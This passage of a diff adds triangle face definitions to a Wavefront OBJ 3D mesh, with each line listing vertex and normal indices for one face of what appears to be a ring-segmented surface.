+f 130//106 131//106 107//106
+f 131//107 132//107 108//107
+f 132//108 133//108 109//108
+f 133//109 134//109 110//109
+f 110//110 134//110 135//110
+f 111//111 135//111 136//111
+f 112//112 136//112 137//112
+f 113//113 137//113 138//113
+f 114//114 138//114 139//114
+f 115//115 139//115 140//115
+f 116//116 140//116 141//116
+f 117//117 141//117 142//117
+f 118//118 142//118 143//118
+f 143//119 144//119 120//119
+f 120//120 144//120 121//120
+f 145//121 146//121 122//121
+f 122//122 146//122 147//122
+f 123//123 147//123 148//123
+f 124//124 148//124 149//124
+f 125//125 149//125 150//125
+f 150//126 151//126 127//126
+f 127//127 151//127 152//127
+f 152//128 153//128 129//128
+f 153//129 154//129 130//129
+f 130//130 154//130 155//130
+f 155//131 156//131 132//131
+f 132//132 156//132 157//132
+f 157//133 158//133 134//133
+f 158//134 159//134 135//134
+f 159//135 160//135 136//135
+f 160//136 161//136 137//136
+f 137//137 161//137 162//137
+f 162//138 163//138 139//138
+f 163//139 164//139 140//139
+f 164//140 165//140 141//140
+f 165//141 166//141 142//141
+f 166//142 167//142 143//142
+f 167//143 168//143 144//143
+f 168//144 145//144 121//144
+f 169//145 170//145 146//145
+f 170//146 171//146 147//146
+f 147//147 171//147 172//147
+f 172//148 173//148 149//148
+f 173//149 174//149 150//149
+f 174//150 175//150 151//150
+f 175//151 176//151 152//151
+f 176//152 177//152 153//152
+f 177//153 178//153 154//153
+f 178//154 179//154 155//154
+f 179//155 180//155 156//155
+f 180//156 181//156 157//156
+f 157//157 181//157 182//157
+f 158//158 182//158 183//158
+f 159//159 183//159 184//159
+f 160//160 184//160 185//160
+f 161//161 185//161 186//161
+f 162//162 186//162 187//162
+f 187//163 188//163 164//163
+f 164//164 188//164 189//164
+f 165//165 189//165 190//165
+f 190//166 191//166 167//166
+f 167//167 191//167 192//167
+f 168//168 192//168 169//168
+f 193//169 194//169 170//169
+f 170//170 194//170 195//170
+f 171//171 195//171 196//171
+f 172//172 196//172 197//172
+f 173//173 197//173 198//173
+f 174//174 198//174 199//174
+f 199//175 200//175 176//175
+f 176//176 200//176 201//176
+f 201//177 202//177 178//177
+f 178//178 202//178 203//178
+f 179//179 203//179 204//179
+f 204//180 205//180 181//180
+f 181//181 205//181 206//181
+f 206//182 207//182 183//182
+f 207//183 208//183 184//183
+f 208//184 209//184 185//184
+f 209//185 210//185 186//185
+f 210//186 211//186 187//186
+f 187//187 211//187 212//187
+f 212//188 213//188 189//188
+f 213//189 214//189 190//189
+f 214//190 215//190 191//190
+f 215//191 216//191 192//191
+f 216//192 193//192 169//192
+f 217//193 218//193 194//193
+f 218//194 219//194 195//194
+f 195//195 219//195 220//195
+f 220//196 221//196 197//196
+f 197//197 221//197 222//197
+f 198//198 222//198 223//198
+f 199//199 223//199 224//199
+f 224//200 225//200 201//200
+f 225//201 226//201 202//201
+f 226//202 227//202 203//202
+f 227//203 228//203 204//203
+f 204//204 228//204 229//204
+f 229//205 230//205 206//205
+f 206//206 230//206 231//206
+f 207//207 231//207 232//207
+f 208//208 232//208 233//208
+f 233//209 234//209 210//209
+f 234//210 235//210 211//210
+f 235//211 236//211 212//211
+f 236//212 237//212 213//212
+f 237//213 238//213 214//213
+f 238//214 239//214 215//214
+f 215//215 239//215 240//215
+f 216//216 240//216 217//216
+f 241//217 242//217 218//217
+f 242//218 243//218 219//218
+f 219//219 243//219 244//219
+f 244//220 245//220 221//220
+f 245//221 246//221 222//221
+f 246//222 247//222 223//222
+f 223//223 247//223 248//223
+f 224//224 248//224 249//224
+f 225//225 249//225 250//225
+f 226//226 250//226 251//226
+f 227//227 251//227 252//227
+f 252//228 253//228 229//228
+f 253//229 254//229 230//229
+f 230//230 254//230 255//230
+f 255//231 256//231 232//231
+f 256//232 257//232 233//232
+f 233//233 257//233 258//233
+f 258//234 259//234 235//234
+f 235//235 259//235 260//235
+f 236//236 260//236 261//236
+f 237//237 261//237 262//237
+f 262//238 263//238 239//238
+f 239//239 263//239 264//239
+f 264//240 241//240 217//240
+f 241//241 265//241 266//241
+f 266//242 267//242 243//242
+f 267//243 268//243 244//243
+f 268//244 269//244 245//244
+f 269//245 270//245 246//245
+f 246//246 270//246 271//246
+f 271//247 272//247 248//247
+f 272//248 273//248 249//248
+f 249//249 273//249 274//249
+f 274//250 275//250 251//250
+f 275//251 276//251 252//251
+f 276//252 277//252 253//252
+f 253//253 277//253 278//253
+f 278//254 279//254 255//254
+f 255//255 279//255 280//255
+f 280//256 281//256 257//256
+f 257//257 281//257 282//257
+f 258//258 282//258 283//258
+f 283//259 284//259 260//259
+f 260//260 284//260 285//260
+f 261//261 285//261 286//261
+f 286//262 287//262 263//262
+f 287//263 288//263 264//263
+f 288//264 265//264 241//264
+f 265//265 289//265 290//265
+f 290//266 291//266 267//266
+f 267//267 291//267 292//267
+f 292//268 293//268 269//268
+f 293//269 294//269 270//269
+f 294//270 295//270 271//270
+f 295//271 296//271 272//271
+f 296//272 297//272 273//272
+f 273//273 297//273 298//273
+f 298//274 299//274 275//274
+f 299//275 300//275 276//275
+f 300//276 301//276 277//276
+f 301//277 302//277 278//277
+f 278//278 302//278 303//278
+f 279//279 303//279 304//279
+f 304//280 305//280 281//280
+f 305//281 306//281 282//281
+f 282//282 306//282 307//282
+f 283//283 307//283 308//283
+f 308//284 309//284 285//284
+f 285//285 309//285 310//285
+f 310//286 311//286 287//286
+f 311//287 312//287 288//287
+f 312//288 289//288 265//288
+f 289//289 313//289 314//289
+f 314//290 315//290 291//290
+f 291//291 315//291 316//291
+f 292//292 316//292 317//292
+f 293//293 317//293 318//293
+f 294//294 318//294 319//294
+f 295//295 319//295 320//295
+f 320//296 321//296 297//296
+f 321//297 322//297 298//297
+f 322//298 323//298 299//298
+f 323//299 324//299 300//299
+f 324//300 325//300 301//300
+f 325//301 326//301 302//301
+f 302//302 326//302 327//302
+f 303//303 327//303 328//303
+f 328//304 329//304 305//304
+f 329//305 330//305 306//305
+f 330//306 331//306 307//306
+f 307//307 331//307 332//307
+f 332//308 333//308 309//308
+f 333//309 334//309 310//309
+f 334//310 335//310 311//310
+f 311//311 335//311 336//311
+f 336//312 313//312 289//312
+f 337//313 338//313 314//313
+f 314//314 338//314 339//314
+f 315//315 339//315 340//315
+f 340//316 341//316 317//316
+f 341//317 342//317 318//317
+f 318//318 342//318 343//318
+f 343//319 344//319 320//319
+f 344//320 345//320 321//320
+f 321//321 345//321 346//321
+f 346//322 347//322 323//322
+f 323//323 347//323 348//323
+f 348//324 349//324 325//324
+f 325//325 349//325 350//325
+f 350//326 351//326 327//326
+f 327//327 351//327 352//327
+f 352//328 353//328 329//328
+f 353//329 354//329 330//329
+f 330//330 354//330 355//330
+f 355//331 356//331 332//331
+f 332//332 356//332 357//332
+f 333//333 357//333 358//333
+f 358//334 359//334 335//334
+f 359//335 360//335 336//335
+f 336//336 360//336 337//336
+f 337//337 361//337 362//337
+f 362//338 363//338 339//338
+f 339//339 363//339 364//339
+f 364//340 365//340 341//340
+f 365//341 366//341 342//341
+f 342//342 366//342 367//342
+f 367//343 368//343 344//343
+f 368//344 369//344 345//344
+f 345//345 369//345 370//345
+f 346//346 370//346 371//346
+f 347//347 371//347 372//347
+f 372//348 373//348 349//348
+f 373//349 374//349 350//349
+f 374//350 375//350 351//350
+f 375//351 376//351 352//351
+f 376//352 377//352 353//352
+f 377//353 378//353 354//353
+f 378//354 379//354 355//354
+f 379//355 380//355 356//355
+f 380//356 381//356 357//356
+f 381//357 382//357 358//357
+f 382//358 383//358 359//358
+f 359//359 383//359 384//359
+f 360//360 384//360 361//360
+f 385//361 386//361 362//361
+f 386//362 387//362 363//362
+f 363//363 387//363 388//363
+f 388//364 389//364 365//364
+f 365//365 389//365 390//365
+f 390//366 391//366 367//366
+f 391//367 392//367 368//367
+f 392//368 393//368 369//368
+f 393//369 394//369 370//369
+f 394//370 395//370 371//370
+f 371//371 395//371 396//371
+f 396//372 397//372 373//372
+f 373//373 397//373 398//373
+f 398//374 399//374 375//374
+f 375//375 399//375 400//375
+f 400//376 401//376 377//376
+f 377//377 401//377 402//377
+f 378//378 402//378 403//378
+f 379//379 403//379 404//379
+f 404//380 405//380 381//380
+f 381//381 405//381 406//381
+f 382//382 406//382 407//382
+f 383//383 407//383 408//383
+f 384//384 408//384 385//384
+f 385//385 409//385 410//385
+f 410//386 411//386 387//386
+f 387//387 411//387 412//387
+f 388//388 412//388 413//388
+f 413//389 414//389 390//389
+f 390//390 414//390 415//390
+f 391//391 415//391 416//391
+f 416//392 417//392 393//392
+f 393//393 417//393 418//393
+f 418//394 419//394 395//394
+f 395//395 419//395 420//395
+f 420//396 421//396 397//396
+f 421//397 422//397 398//397
+f 422//398 423//398 399//398
+f 399//399 423//399 424//399
+f 424//400 425//400 401//400
+f 401//401 425//401 426//401
+f 426//402 427//402 403//402
+f 427//403 428//403 404//403
+f 428//404 429//404 405//404
+f 429//405 430//405 406//405
+f 430//406 431//406 407//406
+f 407//407 431//407 432//407
+f 432//408 409//408 385//408
+f 409//409 433//409 434//409
+f 434//410 435//410 411//410
+f 411//411 435//411 436//411
+f 436//412 437//412 413//412
+f 437//413 438//413 414//413
+f 438//414 439//414 415//414
+f 439//415 440//415 416//415
+f 440//416 441//416 417//416
+f 417//417 441//417 442//417
+f 442//418 443//418 419//418
+f 443//419 444//419 420//419
+f 444//420 445//420 421//420
+f 445//421 446//421 422//421
+f 422//422 446//422 447//422
+f 423//423 447//423 448//423
+f 448//424 449//424 425//424
+f 425//425 449//425 450//425
+f 426//426 450//426 451//426
+f 427//427 451//427 452//427
+f 428//428 452//428 453//428
+f 429//429 453//429 454//429
+f 454//430 455//430 431//430
+f 431//431 455//431 456//431
+f 456//432 433//432 409//432
+f 457//433 458//433 434//433
+f 458//434 459//434 435//434
+f 435//435 459//435 460//435
+f 460//436 461//436 437//436
+f 437//437 461//437 462//437
+f 462//438 463//438 439//438
+f 439//439 463//439 464//439
+f 440//440 464//440 465//440
+f 441//441 465//441 466//441
+f 442//442 466//442 467//442
+f 467//443 468//443 444//443
+f 444//444 468//444 469//444
+f 469//445 470//445 446//445
+f 470//446 471//446 447//446
+f 471//447 472//447 448//447
+f 472//448 473//448 449//448
+f 473//449 474//449 450//449
+f 474//450 475//450 451//450
+f 451//451 475//451 476//451
+f 476//452 477//452 453//452
+f 453//453 477//453 478//453
+f 478//454 479//454 455//454
+f 479//455 480//455 456//455
+f 480//456 457//456 433//456
+f 481//457 482//457 458//457
+f 482//458 483//458 459//458
+f 483//459 484//459 460//459
+f 484//460 485//460 461//460
+f 461//461 485//461 486//461
+f 486//462 487//462 463//462
+f 487//463 488//463 464//463
+f 464//464 488//464 489//464
+f 489//465 490//465 466//465
+f 490//466 491//466 467//466
+f 491//467 492//467 468//467
+f 468//468 492//468 493//468
+f 493//469 494//469 470//469
+f 494//470 495//470 471//470
+f 471//471 495//471 496//471
+f 472//472 496//472 497//472
+f 497//473 498//473 474//473
+f 498//474 499//474 475//474
+f 475//475 499//475 500//475
+f 500//476 501//476 477//476
+f 477//477 501//477 502//477
+f 502//478 503//478 479//478
+f 479//479 503//479 504//479
+f 504//480 481//480 457//480
+f 481//481 505//481 506//481
+f 482//482 506//482 507//482
+f 507//483 508//483 484//483
+f 508//484 509//484 485//484
+f 509//485 510//485 486//485
+f 510//486 511//486 487//486
+f 487//487 511//487 512//487
+f 512//488 513//488 489//488
+f 513//489 514//489 490//489
+f 514//490 515//490 491//490
+f 515//491 516//491 492//491
+f 492//492 516//492 517//492
+f 517//493 518//493 494//493
+f 494//494 518//494 519//494
+f 519//495 520//495 496//495
+f 496//496 520//496 521//496
+f 521//497 522//497 498//497
+f 522//498 523//498 499//498
+f 499//499 523//499 524//499
+f 500//500 524//500 525//500
+f 501//501 525//501 526//501
+f 502//502 526//502 527//502
+f 503//503 527//503 528//503
+f 528//504 505//504 481//504
+f 505//505 529//505 530//505
+f 530//506 531//506 507//506
+f 531//507 532//507 508//507
+f 508//508 532//508 533//508
+f 533//509 534//509 510//509
+f 534//510 535//510 511//510
+f 511//511 535//511 536//511
+f 536//512 537//512 513//512
+f 537//513 538//513 514//513
+f 514//514 538//514 539//514
+f 539//515 540//515 516//515
+f 516//516 540//516 541//516
+f 541//517 542//517 518//517
+f 542//518 543//518 519//518
+f 543//519 544//519 520//519
+f 520//520 544//520 545//520
+f 521//521 545//521 546//521
+f 546//522 547//522 523//522
+f 547//523 548//523 524//523
+f 548//524 549//524 525//524
+f 549//525 550//525 526//525
+f 550//526 551//526 527//526
+f 527//527 551//527 552//527
+f 552//528 529//528 505//528
+f 529//529 553//529 554//529
+f 530//530 554//530 555//530
+f 531//531 555//531 556//531
+f 556//532 557//532 533//532
+f 557//533 558//533 534//533
+f 534//534 558//534 559//534
+f 535//535 559//535 560//535
+f 560//536 561//536 537//536
+f 561//537 562//537 538//537
+f 538//538 562//538 563//538
+f 539//539 563//539 564//539
+f 564//540 565//540 541//540
+f 565//541 566//541 542//541
+f 566//542 567//542 543//542
+f 567//543 568//543 544//543
+f 544//544 568//544 569//544
+f 569//545 570//545 546//545
+f 570//546 571//546 547//546
+f 547//547 571//547 572//547
+f 572//548 573//548 549//548
+f 549//549 573//549 574//549
+f 574//550 575//550 551//550
+f 575//551 576//551 552//551
+f 576//552 553//552 529//552
+f 577//553 578//553 554//553
+f 554//554 578//554 579//554
+f 579//555 580//555 556//555
+f 556//556 580//556 581//556
+f 581//557 582//557 558//557
+f 558//558 582//558 583//558
+f 559//559 583//559 584//559
+f 560//560 584//560 585//560
+f 561//561 585//561 586//561
+f 586//562 587//562 563//562
+f 563//563 587//563 588//563
+f 588//564 589//564 565//564
+f 565//565 589//565 590//565
+f 590//566 591//566 567//566
+f 567//567 591//567 592//567
+f 592//568 593//568 569//568
+f 593//569 594//569 570//569
+f 594//570 595//570 571//570
+f 595//571 596//571 572//571
+f 596//572 597//572 573//572
+f 597//573 598//573 574//573
+f 574//574 598//574 599//574
+f 599//575 600//575 576//575
+f 600//576 577//576 553//576
+f 577//577 601//577 602//577
+f 578//578 602//578 603//578
+f 603//579 604//579 580//579
+f 604//580 605//580 581//580
+f 605//581 606//581 582//581
+f 582//582 606//582 607//582
+f 607//583 608//583 584//583
+f 608//584 609//584 585//584
+f 585//585 609//585 610//585
+f 610//586 611//586 587//586
+f 587//587 611//587 612//587
+f 612//588 613//588 589//588
+f 589//589 613//589 614//589
+f 614//590 615//590 591//590
+f 615//591 616//591 592//591
+f 616//592 617//592 593//592
+f 593//593 617//593 618//593
+f 594//594 618//594 619//594
+f 619//595 620//595 596//595
+f 596//596 620//596 621//596
+f 597//597 621//597 622//597
+f 598//598 622//598 623//598
+f 623//599 624//599 600//599
+f 624//600 601//600 577//600
+f 601//601 625//601 626//601
+f 626//602 627//602 603//602
+f 603//603 627//603 628//603
+f 604//604 628//604 629//604
+f 629//605 630//605 606//605
+f 606//606 630//606 631//606
+f 607//607 631//607 632//607
+f 632//608 633//608 609//608
+f 633//609 634//609 610//609
+f 634//610 635//610 611//610
+f 635//611 636//611 612//611
+f 636//612 637//612 613//612
+f 637//613 638//613 614//613
+f 614//614 638//614 639//614
+f 615//615 639//615 640//615
+f 640//616 641//616 617//616
+f 641//617 642//617 618//617
+f 642//618 643//618 619//618
+f 643//619 644//619 620//619
+f 620//620 644//620 645//620
+f 645//621 646//621 622//621
+f 646//622 647//622 623//622
+f 623//623 647//623 648//623
+f 648//624 625//624 601//624
+f 649//625 650//625 626//625
+f 650//626 651//626 627//626
+f 651//627 652//627 628//627
+f 628//628 652//628 653//628
+f 653//629 654//629 630//629
+f 654//630 655//630 631//630
+f 655//631 656//631 632//631
+f 656//632 657//632 633//632
+f 633//633 657//633 658//633
+f 658//634 659//634 635//634
+f 635//635 659//635 660//635
+f 636//636 660//636 661//636
+f 661//637 662//637 638//637
+f 662//638 663//638 639//638
+f 663//639 664//639 640//639
+f 664//640 665//640 641//640
+f 665//641 666//641 642//641
+f 666//642 667//642 643//642
+f 643//643 667//643 668//643
+f 644//644 668//644 669//644
+f 669//645 670//645 646//645
+f 646//646 670//646 671//646
+f 647//647 671//647 672//647
+f 648//648 672//648 649//648
+f 649//649 673//649 674//649
+f 650//650 674//650 675//650
+f 675//651 676//651 652//651
+f 652//652 676//652 677//652
+f 653//653 677//653 678//653
+f 654//654 678//654 679//654
+f 655//655 679//655 680//655
+f 680//656 681//656 657//656
+f 657//657 681//657 682//657
+f 682//658 683//658 659//658
+f 659//659 683//659 684//659
+f 684//660 685//660 661//660
+f 685//661 686//661 662//661
+f 686//662 687//662 663//662
+f 663//663 687//663 688//663
+f 688//664 689//664 665//664
+f 689//665 690//665 666//665
+f 690//666 691//666 667//666
+f 691//667 692//667 668//667
+f 692//668 693//668 669//668
+f 669//669 693//669 694//669
+f 694//670 695//670 671//670
+f 695//671 696//671 672//671
+f 696//672 673//672 649//672
+f 697//673 698//673 674//673
+f 674//674 698//674 699//674
+f 699//675 700//675 676//675
+f 700//676 701//676 677//676
+f 701//677 702//677 678//677
+f 702//678 703//678 679//678
+f 679//679 703//679 704//679
+f 704//680 705//680 681//680
+f 705//681 706//681 682//681
+f 706//682 707//682 683//682
+f 707//683 708//683 684//683
+f 684//684 708//684 709//684
+f 709//685 710//685 686//685
+f 686//686 710//686 711//686
+f 687//687 711//687 712//687
+f 688//688 712//688 713//688
+f 689//689 713//689 714//689
+f 714//690 715//690 691//690
+f 691//691 715//691 716//691
+f 692//692 716//692 717//692
+f 693//693 717//693 718//693
+f 694//694 718//694 719//694
+f 719//695 720//695 696//695
+f 696//696 720//696 697//696
+f 697//697 721//697 722//697
+f 698//698 722//698 723//698
+f 723//699 724//699 700//699
+f 700//700 724//700 725//700
+f 701//701 725//701 726//701
+f 726//702 727//702 703//702
+f 727//703 728//703 704//703
+f 728//704 729//704 705//704
+f 729//705 730//705 706//705
+f 706//706 730//706 731//706
+f 731//707 732//707 708//707
+f 708//708 732//708 733//708
+f 733//709 734//709 710//709
+f 734//710 735//710 711//710
+f 735//711 736//711 712//711
+f 712//712 736//712 737//712
+f 737//713 738//713 714//713
+f 714//714 738//714 739//714
+f 739//715 740//715 716//715
+f 716//716 740//716 741//716
+f 741//717 742//717 718//717
+f 718//718 742//718 743//718
+f 743//719 744//719 720//719
+f 744//720 721//720 697//720
+f 721//721 745//721 746//721
+f 722//722 746//722 747//722
+f 747//723 748//723 724//723
+f 748//724 749//724 725//724
+f 749//725 750//725 726//725
+f 726//726 750//726 751//726
+f 751//727 752//727 728//727
+f 728//728 752//728 753//728
+f 753//729 754//729 730//729
+f 730//730 754//730 755//730
+f 755//731 756//731 732//731
+f 756//732 757//732 733//732
+f 733//733 757//733 758//733
+f 734//734 758//734 759//734
+f 759//735 760//735 736//735
+f 760//736 761//736 737//736
+f 761//737 762//737 738//737
+f 738//738 762//738 763//738
+f 763//739 764//739 740//739
+f 740//740 764//740 765//740
+f 741//741 765//741 766//741
+f 742//742 766//742 767//742
+f 767//743 768//743 744//743
+f 768//744 745//744 721//744
+f 745//745 769//745 770//745
+f 746//746 770//746 771//746
+f 747//747 771//747 772//747
+f 772//748 773//748 749//748
+f 749//749 773//749 774//749
+f 774//750 775//750 751//750
+f 751//751 775//751 776//751
+f 752//752 776//752 777//752
+f 753//753 777//753 778//753
+f 754//754 778//754 779//754
+f 779//755 780//755 756//755
+f 780//756 781//756 757//756
+f 757//757 781//757 782//757
+f 758//758 782//758 783//758
+f 783//759 784//759 760//759
+f 784//760 785//760 761//760
+f 785//761 786//761 762//761
+f 786//762 787//762 763//762
+f 787//763 788//763 764//763
+f 788//764 789//764 765//764
+f 765//765 789//765 790//765
+f 790//766 791//766 767//766
+f 791//767 792//767 768//767
+f 792//768 769//768 745//768
+f 769//769 793//769 794//769
+f 794//770 795//770 771//770
+f 795//771 796//771 772//771
+f 796//772 797//772 773//772
+f 797//773 798//773 774//773
+f 798//774 799//774 775//774
+f 799//775 800//775 776//775
+f 800//776 801//776 777//776
+f 801//777 802//777 778//777
+f 802//778 803//778 779//778
+f 803//779 804//779 780//779
+f 804//780 805//780 781//780
+f 805//781 806//781 782//781
+f 782//782 806//782 807//782
+f 783//783 807//783 808//783
+f 808//784 809//784 785//784
+f 785//785 809//785 810//785
+f 786//786 810//786 811//786
+f 787//787 811//787 812//787
+f 812//788 813//788 789//788
+f 789//789 813//789 814//789
+f 814//790 815//790 791//790
+f 791//791 815//791 816//791
+f 816//792 793//792 769//792
+f 793//793 817//793 818//793
+f 818//794 819//794 795//794
+f 795//795 819//795 820//795
+f 796//796 820//796 821//796
+f 797//797 821//797 822//797
+f 798//798 822//798 823//798
+f 799//799 823//799 824//799
+f 800//800 824//800 825//800
+f 825//801 826//801 802//801
+f 802//802 826//802 827//802
+f 827//803 828//803 804//803
+f 804//804 828//804 829//804
+f 829//805 830//805 806//805
+f 830//806 831//806 807//806
+f 831//807 832//807 808//807
+f 832//808 833//808 809//808
+f 833//809 834//809 810//809
+f 834//810 835//810 811//810
+f 835//811 836//811 812//811
+f 836//812 837//812 813//812
+f 837//813 838//813 814//813
+f 838//814 839//814 815//814
+f 815//815 839//815 840//815
+f 840//816 817//816 793//816
+f 841//817 842//817 818//817
+f 842//818 843//818 819//818
+f 819//819 843//819 844//819
+f 844//820 845//820 821//820
+f 821//821 845//821 846//821
+f 846//822 847//822 823//822
+f 847//823 848//823 824//823
+f 824//824 848//824 849//824
+f 849//825 850//825 826//825
+f 850//826 851//826 827//826
+f 851//827 852//827 828//827
+f 828//828 852//828 853//828
+f 853//829 854//829 830//829
+f 830//830 854//830 855//830
+f 831//831 855//831 856//831
+f 832//832 856//832 857//832
+f 857//833 858//833 834//833
+f 834//834 858//834 859//834
+f 859//835 860//835 836//835
+f 860//836 861//836 837//836
+f 861//837 862//837 838//837
+f 862//838 863//838 839//838
+f 863//839 864//839 840//839
+f 840//840 864//840 841//840
+f 865//841 866//841 842//841
+f 842//842 866//842 867//842
+f 867//843 868//843 844//843
+f 868//844 869//844 845//844
+f 845//845 869//845 870//845
+f 846//846 870//846 871//846
+f 871//847 872//847 848//847
+f 848//848 872//848 873//848
+f 849//849 873//849 874//849
+f 874//850 875//850 851//850
+f 875//851 876//851 852//851
+f 852//852 876//852 877//852
+f 877//853 878//853 854//853
+f 854//854 878//854 879//854
+f 855//855 879//855 880//855
+f 856//856 880//856 881//856
+f 881//857 882//857 858//857
+f 858//858 882//858 883//858
+f 859//859 883//859 884//859
+f 884//860 885//860 861//860
+f 885//861 886//861 862//861
+f 862//862 886//862 887//862
+f 887//863 888//863 864//863
+f 864//864 888//864 865//864
+f 889//865 890//865 866//865
+f 866//866 890//866 891//866
+f 891//867 892//867 868//867
+f 868//868 892//868 893//868
+f 893//869 894//869 870//869
+f 894//870 895//870 871//870
+f 895//871 896//871 872//871
+f 896//872 897//872 873//872
+f 873//873 897//873 898//873
+f 874//874 898//874 899//874
+f 875//875 899//875 900//875
+f 876//876 900//876 901//876
+f 901//877 902//877 878//877
+f 878//878 902//878 903//878
+f 903//879 904//879 880//879
+f 880//880 904//880 905//880
+f 905//881 906//881 882//881
+f 882//882 906//882 907//882
+f 883//883 907//883 908//883
+f 908//884 909//884 885//884
+f 909//885 910//885 886//885
+f 886//886 910//886 911//886
+f 911//887 912//887 888//887
+f 888//888 912//888 889//888
+f 913//889 914//889 890//889
+f 914//890 915//890 891//890
+f 915//891 916//891 892//891
+f 892//892 916//892 917//892
+f 917//893 918//893 894//893
+f 918//894 919//894 895//894
+f 919//895 920//895 896//895
+f 896//896 920//896 921//896
+f 921//897 922//897 898//897
+f 898//898 922//898 923//898
+f 923//899 924//899 900//899
+f 924//900 925//900 901//900
+f 925//901 926//901 902//901
+f 902//902 926//902 927//902
+f 927//903 928//903 904//903
+f 904//904 928//904 929//904
+f 929//905 930//905 906//905
+f 930//906 931//906 907//906
+f 907//907 931//907 932//907
+f 908//908 932//908 933//908
+f 933//909 934//909 910//909
+f 910//910 934//910 935//910
+f 935//911 936//911 912//911
+f 912//912 936//912 913//912
+f 913//913 937//913 938//913
+f 914//914 938//914 939//914
+f 939//915 940//915 916//915
+f 940//916 941//916 917//916
+f 917//917 941//917 942//917
+f 942//918 943//918 919//918
+f 943//919 944//919 920//919
+f 944//920 945//920 921//920
+f 945//921 946//921 922//921
+f 946//922 947//922 923//922
+f 947//923 948//923 924//923
+f 924//924 948//924 949//924
+f 925//925 949//925 950//925
+f 950//926 951//926 927//926
+f 927//927 951//927 952//927
+f 952//928 953//928 929//928
+f 929//929 953//929 954//929
+f 954//930 955//930 931//930
+f 931//931 955//931 956//931
+f 956//932 957//932 933//932
+f 957//933 958//933 934//933
+f 934//934 958//934 959//934
+f 959//935 960//935 936//935
+f 960//936 937//936 913//936
+f 937//937 961//937 962//937
+f 938//938 962//938 963//938
+f 939//939 963//939 964//939
+f 940//940 964//940 965//940
+f 941//941 965//941 966//941
+f 942//942 966//942 967//942
+f 943//943 967//943 968//943
+f 944//944 968//944 969//944
+f 945//945 969//945 970//945
+f 946//946 970//946 971//946
+f 947//947 971//947 972//947
+f 972//948 973//948 949//948
+f 949//949 973//949 974//949
+f 974//950 975//950 951//950
+f 975//951 976//951 952//951
+f 976//952 977//952 953//952
+f 977//953 978//953 954//953
+f 978//954 979//954 955//954
+f 979//955 980//955 956//955
+f 980//956 981//956 957//956
+f 981//957 982//957 958//957
+f 958//958 982//958 983//958
+f 983//959 984//959 960//959
+f 984//960 961//960 937//960
+f 961//961 985//961 986//961
+f 962//962 986//962 987//962
+f 963//963 987//963 988//963
+f 988//964 989//964 965//964
+f 989//965 990//965 966//965
+f 966//966 990//966 991//966
+f 991//967 992//967 968//967
+f 992//968 993//968 969//968
+f 993//969 994//969 970//969
+f 994//970 995//970 971//970
+f 971//971 995//971 996//971
+f 996//972 997//972 973//972
+f 973//973 997//973 998//973
+f 998//974 999//974 975//974
+f 999//975 1000//975 976//975
+f 1000//976 1001//976 977//976
+f 977//977 1001//977 1002//977
+f 1002//978 1003//978 979//978
+f 1003//979 1004//979 980//979
+f 980//980 1004//980 1005//980
+f 1005//981 1006//981 982//981
+f 1006//982 1007//982 983//982
+f 1007//983 1008//983 984//983
+f 1008//984 985//984 961//984
+f 1009//985 1010//985 986//985
+f 1010//986 1011//986 987//986
+f 1011//987 1012//987 988//987
+f 1012//988 1013//988 989//988
+f 1013//989 1014//989 990//989
+f 1014//990 1015//990 991//990
+f 1015//991 1016//991 992//991
+f 1016//992 1017//992 993//992
+f 1017//993 1018//993 994//993
+f 1018//994 1019//994 995//994
+f 1019//995 1020//995 996//995
+f 1020//996 1021//996 997//996
+f 1021//997 1022//997 998//997
+f 998//998 1022//998 1023//998
+f 1023//999 1024//999 1000//999
+f 1024//1000 1025//1000 1001//1000
+f 1001//1001 1025//1001 1026//1001
+f 1002//1002 1026//1002 1027//1002
+f 1003//1003 1027//1003 1028//1003
+f 1004//1004 1028//1004 1029//1004
+f 1029//1005 1030//1005 1006//1005
+f 1006//1006 1030//1006 1031//1006
+f 1007//1007 1031//1007 1032//1007
+f 1032//1008 1009//1008 985//1008
+f 1009//1009 1033//1009 1034//1009
+f 1010//1010 1034//1010 1035//1010
+f 1011//1011 1035//1011 1036//1011
+f 1036//1012 1037//1012 1013//1012
+f 1013//1013 1037//1013 1038//1013
+f 1014//1014 1038//1014 1039//1014
+f 1015//1015 1039//1015 1040//1015
+f 1016//1016 1040//1016 1041//1016
+f 1017//1017 1041//1017 1042//1017
+f 1018//1018 1042//1018 1043//1018
+f 1043//1019 1044//1019 1020//1019
+f 1020//1020 1044//1020 1045//1020
+f 1045//1021 1046//1021 1022//1021
+f 1046//1022 1047//1022 1023//1022
+f 1047//1023 1048//1023 1024//1023
+f 1048//1024 1049//1024 1025//1024
+f 1049//1025 1050//1025 1026//1025
+f 1050//1026 1051//1026 1027//1026
+f 1051//1027 1052//1027 1028//1027
+f 1052//1028 1053//1028 1029//1028
+f 1029//1029 1053//1029 1054//1029
+f 1054//1030 1055//1030 1031//1030
+f 1055//1031 1056//1031 1032//1031
+f 1056//1032 1033//1032 1009//1032
+f 1033//1033 1057//1033 1058//1033
+f 1058//1034 1059//1034 1035//1034
+f 1059//1035 1060//1035 1036//1035
+f 1036//1036 1060//1036 1061//1036
+f 1037//1037 1061//1037 1062//1037
+f 1062//1038 1063//1038 1039//1038
+f 1063//1039 1064//1039 1040//1039
+f 1040//1040 1064//1040 1065//1040
+f 1041//1041 1065//1041 1066//1041
+f 1042//1042 1066//1042 1067//1042
+f 1067//1043 1068//1043 1044//1043
+f 1068//1044 1069//1044 1045//1044
+f 1069//1045 1070//1045 1046//1045
+f 1046//1046 1070//1046 1071//1046
+f 1071//1047 1072//1047 1048//1047
+f 1072//1048 1073//1048 1049//1048
+f 1073//1049 1074//1049 1050//1049
+f 1050//1050 1074//1050 1075//1050
+f 1051//1051 1075//1051 1076//1051
+f 1076//1052 1077//1052 1053//1052
+f 1077//1053 1078//1053 1054//1053
+f 1078//1054 1079//1054 1055//1054
+f 1055//1055 1079//1055 1080//1055
+f 1080//1056 1057//1056 1033//1056
+f 1081//1057 1082//1057 1058//1057
+f 1058//1058 1082//1058 1083//1058
+f 1083//1059 1084//1059 1060//1059
+f 1084//1060 1085//1060 1061//1060
+f 1085//1061 1086//1061 1062//1061
+f 1086//1062 1087//1062 1063//1062
+f 1087//1063 1088//1063 1064//1063
+f 1088//1064 1089//1064 1065//1064
+f 1089//1065 1090//1065 1066//1065
+f 1066//1066 1090//1066 1091//1066
+f 1091//1067 1092//1067 1068//1067
+f 1092//1068 1093//1068 1069//1068
+f 1093//1069 1094//1069 1070//1069
+f 1070//1070 1094//1070 1095//1070
+f 1095//1071 1096//1071 1072//1071
+f 1072//1072 1096//1072 1097//1072
